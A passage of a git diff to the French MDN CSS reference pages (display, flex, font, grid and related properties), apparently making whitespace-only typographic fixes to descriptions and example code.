d'affichage intérieur et extérieur sont défin - : Ces éléments se comportent comme des éléments HTML {{HTMLElement("col")}}. - `table-caption` - : Ces éléments se comportent comme des éléments HTML {{HTMLElement("caption")}}. -- `ruby-base` {{Experimental_Inline}} +- `ruby-base` {{Experimental_Inline}} - : Ces éléments se comportent comme des éléments HTML {{HTMLElement("rb")}}. -- `ruby-text` {{Experimental_Inline}} +- `ruby-text` {{Experimental_Inline}} - : Ces éléments se comportent comme des éléments HTML {{HTMLElement("rt")}}. -- `ruby-base-container` {{Experimental_Inline}} +- `ruby-base-container` {{Experimental_Inline}} - : Ces éléments se comportent comme des éléments HTML {{HTMLElement("rbc")}} générés comme des boîtes anonymes. -- `ruby-text-container` {{Experimental_Inline}} +- `ruby-text-container` {{Experimental_Inline}} - : Ces éléments se comportent comme des éléments HTML {{HTMLElement("rtc")}}. ## Compatibilité des navigateurs diff --git a/files/fr/web/css/display-listitem/index.md b/files/fr/web/css/display-listitem/index.md index 3506944425..07bb6c0fcf 100644 --- a/files/fr/web/css/display-listitem/index.md +++ b/files/fr/web/css/display-listitem/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/display-listitem --- {{CSSRef}} -Le mot-clé `list-item` permet à un élément de générer un pseudo-élément `::marker` dont le contenu est défini par les propriétés {{cssxref("list-style")}} (pour afficher une puce par exemple) avec une boîte principale du type indiquée pour organiser le contenu de l'élément. +Le mot-clé `list-item` permet à un élément de générer un pseudo-élément `::marker` dont le contenu est défini par les propriétés {{cssxref("list-style")}} (pour afficher une puce par exemple) avec une boîte principale du type indiquée pour organiser le contenu de l'élément. ## Syntaxe diff --git a/files/fr/web/css/display-outside/index.md b/files/fr/web/css/display-outside/index.md index 96e20d0c7d..404890c63f 100644 --- a/files/fr/web/css/display-outside/index.md +++ b/files/fr/web/css/display-outside/index.md @@ -29,7 +29,7 @@ Une valeur `<display-outside>` peut être l'un des mots-clés suivants. > **Note :** Browsers that support the two value syntax, on finding the outer value only, such as when `display: block` or `display: inline` is specified, will set the inner value to `flow`. This will result in expected behavior; for example if you specify an element to be block, you would expect that the children of that element would participate in block and inline normal flow layout. > -> **Note :** Les navigateurs qui prennent en charge la syntaxe avec deux valeurs utiliseront la valeur par défaut `flow` pour le mode intérieur si `display: block` ou `display: inline`. On a ainsi le résultat attendu (si on souhaite qu'un élément se comporte comme un bloc, on s'attend à ce que les éléments fils de cet élément contribuent à la disposition normale en bloc et en ligne). +> **Note :** Les navigateurs qui prennent en charge la syntaxe avec deux valeurs utiliseront la valeur par défaut `flow` pour le mode intérieur si `display: block` ou `display: inline`. On a ainsi le résultat attendu (si on souhaite qu'un élément se comporte comme un bloc, on s'attend à ce que les éléments fils de cet élément contribuent à la disposition normale en bloc et en ligne). ### Syntaxe formelle diff --git a/files/fr/web/css/filter-function/opacity()/index.md b/files/fr/web/css/filter-function/opacity()/index.md index 1b106fa0c2..42bee1f745 100644 --- a/files/fr/web/css/filter-function/opacity()/index.md +++ b/files/fr/web/css/filter-function/opacity()/index.md @@ -21,7 +21,7 @@ opacity(multiplicateur) ### Paramètres - `multiplicateur` - - : L'intensité de l'opacité, indiquée comme un nombre ([`<number>`](/fr/docs/Web/CSS/number)) ou comme un pourcentage ([`<percentage>`](/fr/docs/Web/CSS/percentage)). Une valeur de `0%` entraînera une image complètement transparente. Une valeur de `100%` laissera l'image inchangée. Les valeurs intermédiaires auront un effet proportionnel. Lors d'une interpolation, la valeur par défaut utilisée sera `1`. + - : L'intensité de l'opacité, indiquée comme un nombre ([`<number>`](/fr/docs/Web/CSS/number)) ou comme un pourcentage ([`<percentage>`](/fr/docs/Web/CSS/percentage)). Une valeur de `0%` entraînera une image complètement transparente. Une valeur de `100%` laissera l'image inchangée. Les valeurs intermédiaires auront un effet proportionnel. Lors d'une interpolation, la valeur par défaut utilisée sera `1`. ## Exemples diff --git a/files/fr/web/css/fit-content/index.md b/files/fr/web/css/fit-content/index.md index 9774d75c30..3943bc2629 100644 --- a/files/fr/web/css/fit-content/index.md +++ b/files/fr/web/css/fit-content/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/fit-content --- {{CSSRef}}{{SeeCompatTable}} -La fonction CSS **`fit-content()`** permet d'obtenir une dimension restreinte à un intervalle donnée (en utilisant la formule `min(taille maximale, max(taille minimale, argument))`. +La fonction CSS **`fit-content()`** permet d'obtenir une dimension restreinte à un intervalle donnée (en utilisant la formule `min(taille maximale, max(taille minimale, argument))`. ```css /* Valeurs de type <length> */ @@ -35,7 +35,7 @@ Elle peut également être utilisée pour définir la taille d'une boîte avec { - `<length>` - : Une longueur (valeur de type {{cssxref("<length>")}}) exprimée de façon absolue. - `<percentage>` - - : Un pourcentage (valeur de type {{cssxref("<percentage>")}}) relatif à l'espace disponible sur l'axe indiqué (la hauteur ou la largeur). Pour les propriétés qui concernent les grilles, le pourcentage est relative à la dimension en ligne du conteneur de la grille pour les pistes qui sont disposées en colonnes et à la dimension en block pour les pistes qui sont disposées en lignes. Sinon, le pourcentage est relatif à la dimension en ligne ou en bloc selon le mode d'écriture utilisé. + - : Un pourcentage (valeur de type {{cssxref("<percentage>")}}) relatif à l'espace disponible sur l'axe indiqué (la hauteur ou la largeur). Pour les propriétés qui concernent les grilles, le pourcentage est relative à la dimension en ligne du conteneur de la grille pour les pistes qui sont disposées en colonnes et à la dimension en block pour les pistes qui sont disposées en lignes. Sinon, le pourcentage est relatif à la dimension en ligne ou en bloc selon le mode d'écriture utilisé. ### Syntaxe formelle @@ -84,7 +84,7 @@ Elle peut également être utilisée pour définir la taille d'une boîte avec { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {{SpecName("CSS3 Sizing", "#valdef-width-fit-content-length-percentage", "fit-content()")}} | {{Spec2("CSS3 Sizing")}} | Définition de la fonction pour les dimensions de boîte avec les propriétés {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("min-width")}}, {{cssxref("min-height")}}, {{cssxref("max-width")}} et {{cssxref("max-height")}}. | +| {{SpecName("CSS3 Sizing", "#valdef-width-fit-content-length-percentage", "fit-content()")}} | {{Spec2("CSS3 Sizing")}} | Définition de la fonction pour les dimensions de boîte avec les propriétés {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("min-width")}}, {{cssxref("min-height")}}, {{cssxref("max-width")}} et {{cssxref("max-height")}}. | | {{SpecName("CSS Grid", "#valdef-grid-template-columns-fit-content", "fit-content()")}} | {{Spec2("CSS Grid")}} | Définition initiale, la fonction peut être utilisée pour définir la taille d'une piste au sein d'une grille CSS. | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/flex-basis/index.md b/files/fr/web/css/flex-basis/index.md index 63769f6da2..ae072a187c 100644 --- a/files/fr/web/css/flex-basis/index.md +++ b/files/fr/web/css/flex-basis/index.md @@ -54,7 +54,7 @@ La propriété `flex-basis` est définie grâce au mot-clé [`content`](#content > **Note :** Voici un rapide historique pour cette propriété : > - > - Au début, `flex-basis:auto` signifiait « se référer à ma propriété `width` ou `height` » + > - Au début, `flex-basis:auto` signifiait « se référer à ma propriété `width` ou `height` » > - Ensuite, `flex-basis:auto` a été modifiée pour indiquer un dimensionnement automatique et le mot-clé `main-size` fut introduit pour faire référence à la propriété `width` ou `height`. L'implémentation dans Gecko a été suivie avec le bug {{bug("1032922")}}. > - Cette modification a été annulée avec le bug {{bug("1093316")}} afin qu'`auto` fasse à nouveau référence à la propriété `height` ou `width`. Le mot-clé `content` a été introduit pour déclencher un dimensionnement automatique (c'est le bug {{bug("1105111")}} qui couvre cette implémentation). diff --git a/files/fr/web/css/flex-direction/index.md b/files/fr/web/css/flex-direction/index.md index aba2fa317d..2883799798 100644 --- a/files/fr/web/css/flex-direction/index.md +++ b/files/fr/web/css/flex-direction/index.md @@ -63,15 +63,15 @@ flex-direction: unset; ```html <h4>Un exemple avec column-reverse</h4> <div id="content"> - <div class="box" style="background-color:red;">A</div> - <div class="box" style="background-color:lightblue;">B</div> - <div class="box" style="background-color:yellow;">C</div> + <div class="box" style="background-color:red;">A</div> + <div class="box" style="background-color:lightblue;">B</div> + <div class="box" style="background-color:yellow;">C</div> </div> <h4>Un exemple avec row-reverse</h4> <div id="content1"> - <div class="box" style="background-color:red;">A</div> - <div class="box" style="background-color:lightblue;">B</div> - <div class="box" style="background-color:yellow;">C</div> + <div class="box" style="background-color:red;">A</div> + <div class="box" style="background-color:lightblue;">B</div> + <div class="box" style="background-color:yellow;">C</div> </div> ``` diff --git a/files/fr/web/css/flex/index.md b/files/fr/web/css/flex/index.md index a0e2170ebb..b29d872871 100644 --- a/files/fr/web/css/flex/index.md +++ b/files/fr/web/css/flex/index.md @@ -212,8 +212,8 @@ La propriété `flex` peut être définie avec une, deux ou trois valeurs. ```html <div id="flex-container"> - <div class="flex-item" id="flex">Boîte flexible (cliquer pour passer à la boîte « normale »)</div> - <div class="raw-item" id="raw">Boîte « normale » </div> + <div class="flex-item" id="flex">Boîte flexible (cliquer pour passer à la boîte « normale »)</div> + <div class="raw-item" id="raw">Boîte « normale » </div> </div> ``` diff --git a/files/fr/web/css/flex_value/index.md b/files/fr/web/css/flex_value/index.md index 9392f894be..1c62484ed0 100644 --- a/files/fr/web/css/flex_value/index.md +++ b/files/fr/web/css/flex_value/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/flex_value --- {{CSSRef}} -Le type de donnée [CSS](/fr/docs/Web/CSS) **`<flex>`** permet de représenter une longueur flexible à l'intérieur d'un conteneur en grille, qui est déclarée comme une dimension d'unité `fr`. Il est notamment utilisé pour les propriétés {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}} ainsi que d'autres. +Le type de donnée [CSS](/fr/docs/Web/CSS) **`<flex>`** permet de représenter une longueur flexible à l'intérieur d'un conteneur en grille, qui est déclarée comme une dimension d'unité `fr`. Il est notamment utilisé pour les propriétés {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-rows")}} ainsi que d'autres. ## Syntaxe diff --git a/files/fr/web/css/float/index.md b/files/fr/web/css/float/index.md index 7dcc237af4..9668e3b4ba 100644 --- a/files/fr/web/css/float/index.md +++ b/files/fr/web/css/float/index.md @@ -56,7 +56,7 @@ float: unset; - `left` - : Un mot-clé indiquant que l'élément doit flotter du côté gauche du bloc qui le contient. - `right` - - : Un mot-clé indiquant que l'élément doit flotter du côté droit du bloc qui le contient. + - : Un mot-clé indiquant que l'élément doit flotter du côté droit du bloc qui le contient. - `none` - : Un mot-clé indiquant que l'élément ne doit pas flotter - `inline-start` @@ -126,7 +126,7 @@ Aussi, si on ne peut pas dégager un élément, on peut limiter le formatage en p.avecBoitesRouges { overflow: hidden; height: auto; } ``` -> **Note :** En utilisant `overflow`: `scroll` on contiendra également les éléments fils flottants mais cela affichera des barres de défilement quelle que soit la hauteur du contenu. Ici, nous utilisons `auto` pour `height` afin d'indiquer que le conteneur doit s'agrandir si nécessaire. +> **Note :** En utilisant `overflow`: `scroll` on contiendra également les éléments fils flottants mais cela affichera des barres de défilement quelle que soit la hauteur du contenu. Ici, nous utilisons `auto` pour `height` afin d'indiquer que le conteneur doit s'agrandir si nécessaire. ## Spécifications diff --git a/files/fr/web/css/font-feature-settings/index.md b/files/fr/web/css/font-feature-settings/index.md index 4b3b8cae1b..e7e30ec353 100644 --- a/files/fr/web/css/font-feature-settings/index.md +++ b/files/fr/web/css/font-feature-settings/index.md @@ -83,7 +83,7 @@ td.tabular { font-feature-settings: "tnum"; } } ``` -## Spécifications +## Spécifications | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | diff --git a/files/fr/web/css/font-kerning/index.md b/files/fr/web/css/font-kerning/index.md index bc3fe72aa0..5451a1b01c 100644 --- a/files/fr/web/css/font-kerning/index.md +++ b/files/fr/web/css/font-kerning/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/font-kerning --- {{CSSRef}} -La propriété **`font-kerning`** contrôle le crénage de la police ; c'est-à-dire l'espace créé entre les lettres. L'information de crénage est stockée dans la police et si la police est *bien crénée*, cette caractéristique permet aux caractères, quels qu'ils soient, d'être espacés de manière semblable. +La propriété **`font-kerning`** contrôle le crénage de la police ; c'est-à-dire l'espace créé entre les lettres. L'information de crénage est stockée dans la police et si la police est *bien crénée*, cette caractéristique permet aux caractères, quels qu'ils soient, d'être espacés de manière semblable. ```css font-kerning: auto; diff --git a/files/fr/web/css/font-language-override/index.md b/files/fr/web/css/font-language-override/index.md index 97225330f3..81b3f23c5d 100644 --- a/files/fr/web/css/font-language-override/index.md +++ b/files/fr/web/css/font-language-override/index.md @@ -53,7 +53,7 @@ p.para1 { } p.para2 { - font-language-override: "DAN"; + font-language-override: "DAN"; } ``` diff --git a/files/fr/web/css/font-optical-sizing/index.md b/files/fr/web/css/font-optical-sizing/index.md index 05abd409e2..29c2129e7a 100644 --- a/files/fr/web/css/font-optical-sizing/index.md +++ b/files/fr/web/css/font-optical-sizing/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/font-optical-sizing --- {{CSSRef}} -La propriété CSS **`font-optical-sizing`** permet de contrôler la façon dont l'agent utilisateur rend le texte avec (ou non) différentes représentations visuelles en fonction de la taille. Cette propriété ne fonctionne qu'avec les polices qui disposent d'un axe de variation pour la taille optique. +La propriété CSS **`font-optical-sizing`** permet de contrôler la façon dont l'agent utilisateur rend le texte avec (ou non) différentes représentations visuelles en fonction de la taille. Cette propriété ne fonctionne qu'avec les polices qui disposent d'un axe de variation pour la taille optique. Par exemple, les textes de petites tailles sont généralement affichés avec des traits plus épais et des empattements (_serifs_) plus grands. En revanche, les textes plus grands sont souvent plus fins et utilisent plus de contrastes entre les traits fins et épais. @@ -77,7 +77,7 @@ p { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('CSS4 Fonts', '#font-optical-sizing-def', 'font-optical-sizing')}} | {{Spec2('CSS4 Fonts')}} | | +| {{SpecName('CSS4 Fonts', '#font-optical-sizing-def', 'font-optical-sizing')}} | {{Spec2('CSS4 Fonts')}} | | {{cssinfo}} diff --git a/files/fr/web/css/font-size/index.md b/files/fr/web/css/font-size/index.md index 0512e7882f..17fc0c2872 100644 --- a/files/fr/web/css/font-size/index.md +++ b/files/fr/web/css/font-size/index.md @@ -56,9 +56,9 @@ La propriété `font-size` peut être définie de deux façons : - `larger, smaller` - : La taille de la fonte est plus grande (`larger`) ou plus petite (`smaller`) que celle de l'élément parent. Le ratio d'agrandissement/réduction est le même que celui qui sépare les mots-clés présentés avant. - `<length>` - - : Une longueur positive (type {{cssxref("<length>")}} ou un pourcentage (type {{cssxref("<percentage>")}}). Lorsque les valeurs sont exprimées avec les unités `em` ou `ex`, la taille est alors relative à la taille de la fonte de l'élément parent. Ainsi, une valeur de `0.5em` indiquera que la taille de fonte pour l'élément courant est la moitié de celle utilisée pour l'élément parent. Lorsque l'unité utilisée est `rem`, la taille est alors relative à la taille de la fonte utilisée pour l'élément racine `html`. + - : Une longueur positive (type {{cssxref("<length>")}} ou un pourcentage (type {{cssxref("<percentage>")}}). Lorsque les valeurs sont exprimées avec les unités `em` ou `ex`, la taille est alors relative à la taille de la fonte de l'élément parent. Ainsi, une valeur de `0.5em` indiquera que la taille de fonte pour l'élément courant est la moitié de celle utilisée pour l'élément parent. Lorsque l'unité utilisée est `rem`, la taille est alors relative à la taille de la fonte utilisée pour l'élément racine `html`. - `<percentage>` - - : Les valeurs exprimées en pourcentages (type {{cssxref("<percentage>")}}) sont proportionnelles à la taille de fonte de l'élément parent. + - : Les valeurs exprimées en pourcentages (type {{cssxref("<percentage>")}}) sont proportionnelles à la taille de fonte de l'élément parent. > **Note :** Il est généralement préférable d'utiliser des valeurs relatives à la taille par défaut choisie par l'utilisateur. @@ -80,7 +80,7 @@ L'utilisation des pixels (`px`) permet d'obtenir un résultat statique, absolu e ### Les ems -On peut également définir la taille de la fonte en `em`. La taille d'une valeur exprimée en `em` est dynamique. Lorsqu'on définit la propriété `font-size`, un `em` est équivalent à la taille de fonte appliquée à l'élément parent de l'élément courant. Si cette taille n'a pas été définie pour l'élément parent, elle correspondra à la taille par défaut du navigateur (généralement 16px). Ainsi, si on définit `font-size` avec une valeur de `20px` sur l'élément `body`, `1em` correspondra à `20px` et `2em` à `40px`. Ici, la valeur 2 est un facteur multiplicateur de la taille. +On peut également définir la taille de la fonte en `em`. La taille d'une valeur exprimée en `em` est dynamique. Lorsqu'on définit la propriété `font-size`, un `em` est équivalent à la taille de fonte appliquée à l'élément parent de l'élément courant. Si cette taille n'a pas été définie pour l'élément parent, elle correspondra à la taille par défaut du navigateur (généralement 16px). Ainsi, si on définit `font-size` avec une valeur de `20px` sur l'élément `body`, `1em` correspondra à `20px` et `2em` à `40px`. Ici, la valeur 2 est un facteur multiplicateur de la taille. Pour calculer une équivalence entre `em` et un résultat exprimé en pixels, on peut utiliser cette formule : @@ -119,7 +119,7 @@ On obtiendra le résultat suivant : {{EmbedLiveSample("Les_ems", 400, 40)}} -Si la taille par défaut du navigateur est 16px, le mot « Extérieur » sera affiché avec 16 pixels et le mot « Intérieur » sera affiché avec 25.6 pixes. En effet, la taille de `font-size` pour le bloc `span` vaut `1.6em` et cette valeur est relative à la valeur de `font-size` pour son élément parent, elle-même relative à la valeur de `font-size` pour son élément parent. C'est ce qu'on appelle **la composition**. +Si la taille par défaut du navigateur est 16px, le mot « Extérieur » sera affiché avec 16 pixels et le mot « Intérieur » sera affiché avec 25.6 pixes. En effet, la taille de `font-size` pour le bloc `span` vaut `1.6em` et cette valeur est relative à la valeur de `font-size` pour son élément parent, elle-même relative à la valeur de `font-size` pour son élément parent. C'est ce qu'on appelle **la composition**. ### Les rems diff --git a/files/fr/web/css/font-variant-position/index.md b/files/fr/web/css/font-variant-position/index.md index 78b9d97af8..b88604ffac 100644 --- a/files/fr/web/css/font-variant-position/index.md +++ b/files/fr/web/css/font-variant-position/index.md @@ -60,7 +60,7 @@ La valeur de cette propriété est définie grâce à l'un des mots-clés défin ```html <p> Alice <span class="exemple">ne s’était pas fait le moindre mal.</span> - Vite elle se remet sur ses pieds et regarde en l’air ; mais tout + Vite elle se remet sur ses pieds et regarde en l’air ; mais tout est noir là-haut. Elle voit devant elle un long passage et le Lapin Blanc qui court à toutes jambes. </p> diff --git a/files/fr/web/css/font/index.md b/files/fr/web/css/font/index.md index 15ddc96075..3e02aa4788 100644 --- a/files/fr/web/css/font/index.md +++ b/files/fr/web/css/font/index.md @@ -12,7 +12,7 @@ translation_of: Web/CSS/font La propriété **`font`** est : -- une propriété raccourcie permettant de définir rapidement {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}} et {{cssxref("font-family")}} +- une propriété raccourcie permettant de définir rapidement {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}} et {{cssxref("font-family")}} - ou une propriété permettant d'utiliser une police système pour la police de caractères d'un élément grâce à certains mots-clés spécifiques. {{EmbedInteractiveExample("pages/css/font.html")}} @@ -67,7 +67,7 @@ Si `font` est définie comme une propriété raccourcie : - Les valeurs pour `font-style`, `font-variant` et `font-weight` doivent précéder la valeur pour `font-size` - La valeur de `font-variant` ne peut utiliser que les valeurs définies en CSS 2.1 : `normal` et `small-caps` - La valeur de `font-stretch` ne peut être qu'un mot-clé. -- La valeur pour `line-height` doit immédiatement suivre la valeur pour `font-size`, séparée par une barre oblique (par exemple "`16px/3`") +- La valeur pour `line-height` doit immédiatement suivre la valeur pour `font-size`, séparée par une barre oblique (par exemple "`16px/3`") - La valeur pour `font-family` doit être la dernière fournie. ### Valeurs @@ -140,7 +140,7 @@ Si `font` est définie comme une propriété raccourcie : ### CSS ```css -/* La corps de la police sera 12px */ +/* La corps de la police sera 12px */ /* La hauteur de ligne 14px et la */ /* famille de polices sans-serif */ diff --git a/files/fr/web/css/forced-color-adjust/index.md b/files/fr/web/css/forced-color-adjust/index.md index 821fa8e2da..11118681ce 100644 --- a/files/fr/web/css/forced-color-adjust/index.md +++ b/files/fr/web/css/forced-color-adjust/index.md @@ -74,11 +74,11 @@ En utilisant la fonctionnalité média [`forced-colors`](/fr/docs/Web/CSS/@media ```html <div class="box"> - <p>Voici une boîte qui utilisera vos préférences de couleurs.</p> + <p>Voici une boîte qui utilisera vos préférences de couleurs.</p> </div> <div class="box forced"> - <p>Voici une boîte qui conservera les couleurs définies par le site.</p> + <p>Voici une boîte qui conservera les couleurs définies par le site.</p> </div> ``` diff --git a/files/fr/web/css/frequency-percentage/index.md b/files/fr/web/css/frequency-percentage/index.md index 4b3f9f032d..2fa40a4e7a 100644 --- a/files/fr/web/css/frequency-percentage/index.md +++ b/files/fr/web/css/frequency-percentage/index.md @@ -23,7 +23,7 @@ Lorsqu'une valeur de type `<frequency-percentage>` peut être utilisée dans une | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------------------------------------------------------------- | -| {{SpecName('CSS4 Values', '#mixed-percentages', '<frequency-percentage>')}} | {{Spec2('CSS4 Values')}} | | +| {{SpecName('CSS4 Values', '#mixed-percentages', '<frequency-percentage>')}} | {{Spec2('CSS4 Values')}} | | | {{SpecName('CSS3 Values', '#mixed-percentages', '<frequency-percentage>')}} | {{Spec2('CSS3 Values')}} | Définition du type `<frequency-percentage>`. Ajout de `calc()` | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/gradient/linear-gradient()/index.md b/files/fr/web/css/gradient/linear-gradient()/index.md index c32f3caf0b..7889def802 100644 --- a/files/fr/web/css/gradient/linear-gradient()/index.md +++ b/files/fr/web/css/gradient/linear-gradient()/index.md @@ -75,7 +75,7 @@ Un dégradé linéaire est défini par un axe : la _ligne du dégradé_ et La ligne du dégradé est définie par le centre de la boîte contenant l'image et par un angle. Les couleurs du dégradé sont déterminées par deux ou plusieurs points : le point de départ, le point d'arrivée et, éventuellement entre, des points d'arrêts de couleur. -Le _point de départ_ est situé sur la ligne du dégradé où la première couleur commence. Le _point d'arrivée_ est situé là où la dernière couleur finit. Chacun de ces deux points est défini par l'intersection de la ligne du dégradé avec une ligne perpendiculaire du coin de la boîte correspondant. Le point de fin peut être considéré comme le symétrique du point de départ. Ces définitions relativement complexes peuvent mener à des effets intéressants intitulés « coins magiques » : les coins les plus proches des points de départ et d'arrivée ont la même couleur (respectivement) que ces deux points. +Le _point de départ_ est situé sur la ligne du dégradé où la première couleur commence. Le _point d'arrivée_ est situé là où la dernière couleur finit. Chacun de ces deux points est défini par l'intersection de la ligne du dégradé avec une ligne perpendiculaire du coin de la boîte correspondant. Le point de fin peut être considéré comme le symétrique du point de départ. Ces définitions relativement complexes peuvent mener à des effets intéressants intitulés « coins magiques » : les coins les plus proches des points de départ et d'arrivée ont la même couleur (respectivement) que ces deux points. #### Personnaliser des dégradés diff --git a/files/fr/web/css/grid-area/index.md b/files/fr/web/css/grid-area/index.md index 58950b4c06..cfea297802 100644 --- a/files/fr/web/css/grid-area/index.md +++ b/files/fr/web/css/grid-area/index.md @@ -19,7 +19,7 @@ Lorsqu'il n'y a pas de valeur pour `grid-column-end`, si `grid-column-start` est Lorsqu'il n'y a pas de valeur pour `grid-row-end`, si `grid-row-start` est un identifiant de zone, `grid-row-end` sera défini avec cet identifiant, sinon il sera défini avec `auto`. -Lorsqu'il n'y a pas de valeur pour `grid-column-start`, si `grid-row-start` est un identifiant de zone, les quatres propriétés seront définies avec cette valeur. Sinon, elles vaudront `auto`. +Lorsqu'il n'y a pas de valeur pour `grid-column-start`, si `grid-row-start` est un identifiant de zone, les quatres propriétés seront définies avec cette valeur. Sinon, elles vaudront `auto`. La propriété `grid-area` peut également prendre comme valeur un identifiant personnalisé ({{cssxref("<custom-ident>")}}) qui pourra être utilisé comme nom pour une zone de la grille placée grâce à la propriété {{cssxref("grid-template-areas")}}. diff --git a/files/fr/web/css/grid-auto-columns/index.md b/files/fr/web/css/grid-auto-columns/index.md index 2456688ecb..5ecffb429a 100644 --- a/files/fr/web/css/grid-auto-columns/index.md +++ b/files/fr/web/css/grid-auto-columns/index.md @@ -52,9 +52,9 @@ grid-auto-columns: fit-content(20%); /* Gestion de plusieurs pistes */ grid-auto-columns: min-content max-content auto; grid-auto-columns: 100px 150px 390px; -grid-auto-columns: 10% 33.3%; +grid-auto-columns: 10% 33.3%; grid-auto-columns: 0.5fr 3fr 1fr; -grid-auto-columns: minmax(100px, auto) minmax(max-content, 2fr) minmax(20%, 80vmax); +grid-auto-columns: minmax(100px, auto) minmax(max-content, 2fr) minmax(20%, 80vmax); grid-auto-columns: 100px minmax(100px, auto) 10% 0.5fr fit-content(400px); /* Valeurs globales */ @@ -85,7 +85,7 @@ grid-auto-columns: unset; - : Cette notation représente la formule `min(max-content, max(auto, argument))` qui est calculée de façon semblable à `auto`, sauf qu'ici, la taille de la piste est écrétée à _argument_ s'i elle est plus grande que le minimum `auto`. - `auto` - - : Un mot-clé qui est identique au contenu maximal si c'est un maximum. Si c'est un minimum, il représente la plus grande des plus petites tailles (définie par {{cssxref("min-width")}}/{{cssxref("min-height")}})) des objets de la grilles qui occupe cette piste de la grille. + - : Un mot-clé qui est identique au contenu maximal si c'est un maximum. Si c'est un minimum, il représente la plus grande des plus petites tailles (définie par {{cssxref("min-width")}}/{{cssxref("min-height")}})) des objets de la grilles qui occupe cette piste de la grille. > **Note :** Les pistes de taille `auto` (et uniquement celles-ci) peuvent être étirées grâce aux propriétés {{cssxref("align-content")}} et {{cssxref("justify-content")}}. @@ -115,9 +115,9 @@ grid-auto-columns: unset; ```html <div id="grid"> - <div id="item1"></div> - <div id="item2"></div> - <div id="item3"></div> + <div id="item1"></div> + <div id="item2"></div> + <div id="item3"></div> </div> ``` diff --git a/files/fr/web/css/grid-auto-flow/index.md b/files/fr/web/css/grid-auto-flow/index.md index 3e14e8cc58..f3eee3cc0c 100644 --- a/files/fr/web/css/grid-auto-flow/index.md +++ b/files/fr/web/css/grid-auto-flow/index.md @@ -91,15 +91,15 @@ Cette propriété peut prendre deux formes : ```html <div id="grid"> - <div id="item1"></div> - <div id="item2"></div> - <div id="item3"></div> - <div id="item4"></div> - <div id="item5"></div> + <div id="item1"></div> + <div id="item2"></div> + <div id="item3"></div> + <div id="item4"></div> + <div id="item5"></div> </div> <select id="direction" onchange="changeGridAutoFlow()"> - <option value="column">column</option> - <option value="row">row</option> + <option value="column">column</option> + <option value="row">row</option> </select> <input id="dense" type="checkbox" onchange="changeGridAutoFlow()"> <label for="dense">dense</label> diff --git a/files/fr/web/css/grid-auto-rows/index.md b/files/fr/web/css/grid-auto-rows/index.md index aa3ec3e501..b3de100bd7 100644 --- a/files/fr/web/css/grid-auto-rows/index.md +++ b/files/fr/web/css/grid-auto-rows/index.md @@ -46,9 +46,9 @@ grid-auto-rows: minmax(20%, 80vmax); /* Gestion de plusieurs pistes */ grid-auto-rows: min-content max-content auto; grid-auto-rows: 100px 150px 390px; -grid-auto-rows: 10% 33.3%; +grid-auto-rows: 10% 33.3%; grid-auto-rows: 0.5fr 3fr 1fr; -grid-auto-rows: minmax(100px, auto) minmax(max-content, 2fr) minmax(20%, 80vmax); +grid-auto-rows: minmax(100px, auto) minmax(max-content, 2fr) minmax(20%, 80vmax); grid-auto-rows: 100px minmax(100px, auto) 10% 0.5fr fit-content(400px); @@ -78,7 +78,7 @@ grid-auto-rows: unset; - : Une notation fonctionnelle qui définit un intervalle de taille entre `min` et `max`. Si `max` est inférieur à `min`, `max` est ignoré et la fonction est traitée comme un minimum. En tant que maximum, elle joue le rôle d'une valeur `<flex>` qui définit le facteur de flexibilité de la piste. En tant que minimum, elle est gérée comme zéro (ou comme le contenu minimal si le conteneur de la grille impose une contrainte de contenu minimal). - `auto` - - : Un mot-clé qui est identique au contenu maximal si c'est un maximum. Si c'est un minimum, il représente la plus grande des plus petites tailles (définie par {{cssxref("min-width")}}/{{cssxref("min-height")}})) des objets de la grilles qui occupe cette piste de la grille. + - : Un mot-clé qui est identique au contenu maximal si c'est un maximum. Si c'est un minimum, il représente la plus grande des plus petites tailles (définie par {{cssxref("min-width")}}/{{cssxref("min-height")}})) des objets de la grilles qui occupe cette piste de la grille. > **Note :** Les pistes de taille `auto` (et uniquement celles-ci) peuvent être étirées grâce aux propriétés {{cssxref("align-content")}} et {{cssxref("justify-content")}}. @@ -108,9 +108,9 @@ grid-auto-rows: unset; ```html <div id="grid"> - <div id="item1"></div> - <div id="item2"></div> - <div id="item3"></div> + <div id="item1"></div> + <div id="item2"></div> + <div id="item3"></div> </div> ``` diff --git a/files/fr/web/css/grid-column-end/index.md b/files/fr/web/css/grid-column-end/index.md index b650f7110c..d1953ae90d 100644 --- a/files/fr/web/css/grid-column-end/index.md +++ b/files/fr/web/css/grid-column-end/index.md @@ -47,7 +47,7 @@ grid-column-end: unset; > **Note :** Les noms de zones génèrent automatiquement les noms de colonnes sous cette forme. Ainsi, `grid-column-end: foo;` permettra de désigner l'extrêmité (à la fin) de la zone nommée (sauf si une autre colonne a explicitement été nommée avec `foo-end`). - Si aucune zone ne correspond, la valeur est traitée comme la combinaison de l'entier 1 et de `<custom-ident>` (cf. définition suivante). + Si aucune zone ne correspond, la valeur est traitée comme la combinaison de l'entier 1 et de `<custom-ident>` (cf. définition suivante). - `<integer> && <custom-ident>?` diff --git a/files/fr/web/css/grid-row-end/index.md b/files/fr/web/css/grid-row-end/index.md index 375de17056..b05d4b4f9a 100644 --- a/files/fr/web/css/grid-row-end/index.md +++ 